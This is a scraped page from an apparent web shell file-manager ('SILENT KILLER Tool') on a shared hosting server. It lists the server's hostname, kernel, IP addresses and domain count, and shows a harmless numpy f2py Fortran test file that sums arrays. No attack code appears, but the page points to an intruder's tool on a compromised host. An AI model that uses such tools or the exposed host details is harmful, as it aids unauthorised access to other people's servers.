Current Path: > > opt > cloudlinux > venv > lib > > python3.11 > site-packages > numpy > f2py > tests > src > assumed_shape >
Operation : Linux host59.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64 Software : Apache Server IP : 198.54.126.42 | Your IP: 216.73.216.8 Domains : 1034 Domain(s) Permission : [ 0755 ]
| Name | Type | Size | Last Modified | Actions |
|---|---|---|---|---|
| .f2py_f2cmap | File | 29 bytes | April 17 2025 13:10:58. | |
| foo_free.f90 | File | 460 bytes | April 17 2025 13:10:58. | |
| foo_mod.f90 | File | 499 bytes | April 17 2025 13:10:58. | |
| foo_use.f90 | File | 269 bytes | April 17 2025 13:10:58. | |
| precision.f90 | File | 130 bytes | April 17 2025 13:10:58. |
module mod
contains
subroutine sum(x, res)
implicit none
real, intent(in) :: x(:)
real, intent(out) :: res
integer :: i
!print *, "sum: size(x) = ", size(x)
res = 0.0
do i = 1, size(x)
res = res + x(i)
enddo
end subroutine sum
function fsum(x) result (res)
implicit none
real, intent(in) :: x(:)
real :: res
integer :: i
!print *, "fsum: size(x) = ", size(x)
res = 0.0
do i = 1, size(x)
res = res + x(i)
enddo
end function fsum
end module mod
SILENT KILLER Tool